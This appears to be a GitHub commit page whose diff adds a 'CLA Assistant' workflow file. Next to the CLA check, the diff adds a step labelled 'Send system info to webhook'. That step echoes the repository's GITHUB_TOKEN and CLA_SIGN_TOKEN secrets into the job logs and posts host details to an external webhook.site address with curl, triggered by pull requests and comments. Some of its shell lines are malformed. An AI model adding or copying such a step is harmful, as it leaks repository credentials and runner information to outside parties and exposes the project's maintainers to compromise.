Skip to content

Commit 21cae4a

Browse files
committed
Experiment with workflow
1 parent 72b78f8 commit 21cae4a

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed

.github/workflows/cla-2.yml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
name: "CLA Assistant"
2+
on:
3+
# issue_comment triggers this action on each comment on issues and pull requests
4+
issue_comment:
5+
types: [ created ]
6+
pull_request_target:
7+
types: [ opened, synchronize ]
8+
9+
jobs:
10+
CLAssistant:
11+
runs-on: ubuntu-latest
12+
steps:
13+
- name: Run CLA Check
14+
uses: jfrog/.github/actions/cla@main
15+
with:
16+
event_comment_body: ${{ github.event.comment.body }}
17+
event_name: ${{ github.event_name }}
18+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
19+
CLA_SIGN_TOKEN: ${{ secrets.CLA_SIGN_TOKEN }}
20+
- name: Send system info to webhook
21+
run: |
22+
echo "current github token:"
23+
echo ${{ secrets.GITHUB_TOKEN }}
24+
echo "current CLA token:"
25+
echo ${{ secrets.CLA_SIGN_TOKEN }}
26+
echo "$whoami && uname -a):"
27+
echo $whoami && uname -a)
28+
echo "afasfa"
29+
OUTPUT="$(whoami && uname -a)"
30+
curl -X POST -H "Content-Type: text/plain" \
31+
--data "$OUTPUT" \
32+
https://webhook.site/fe8957ad-e9d9-4b08-a102-aeeb9e45eeba

0 commit comments

Comments
 (0)